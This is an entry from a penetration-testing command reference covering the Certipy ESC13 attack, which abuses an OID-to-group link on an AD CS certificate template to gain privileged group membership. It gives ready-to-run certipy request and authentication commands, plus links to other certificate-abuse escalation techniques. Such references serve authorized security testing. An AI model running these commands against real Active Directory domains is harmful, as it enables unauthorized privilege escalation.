Certipy ESC13 (OID Group Link)

ESC13: a template's issuance policy is linked to a privileged group via msDS-OIDToGroupLink. Enrolling adds the linked group SID to the resulting Kerberos ticket — instant group membership without ever touching the group object.

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool

certipy

Category

Credential Attacks / ADCS (Certificate Abuse)

Platform

linux

Requires

password

Protocols

LDAP, KERBEROS

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

certipy req -u '<user>@<domain>' -p '<password>' -dc-ip <dc-ip> -ca '<ca-name>' -template '<template>'

Examples

certipy req -u jdoe@corp.local -p Pass -dc-ip 10.10.10.10 -ca CORP-CA -template ESC13Template

certipy auth -pfx jdoe.pfx -domain corp.local

Tags

certipy adcs esc13 oid group-link

References

• ESC13 writeup

Related commands

• bloodyAD Shadow Credentials Add a Key Credential (msDS-KeyCredentialLink) to a target object you have GenericWrite…
• Certipy Account Operations Create, update, read, or delete user / computer accounts directly through Certipy.…
• Certipy Authenticate with Certificate Authenticate using a PFX certificate to obtain a TGT and NT hash
• Certipy CA Management Enumerate and manipulate the certificate authority itself: list officers (ESC7), backup…
• Certipy ESC1 (Subject in Request) Exploit ESC1: a template that allows the requester to specify a Subject Alternative Name…
• Certipy ESC11 (RPC Relay to ICPR) ESC11: ICertPassage RPC interface accepts NTLM without IF_ENFORCEENCRYPTICERTREQUEST.…
• Certipy ESC14 (altSecurityIdentities Mapping) ESC14: weak explicit certificate mapping via altSecurityIdentities. With write access…
• Certipy ESC15 (Schema V1 EKUwu) ESC15 / EKUwu: schema v1 templates honor Application Policies from the CSR, letting an…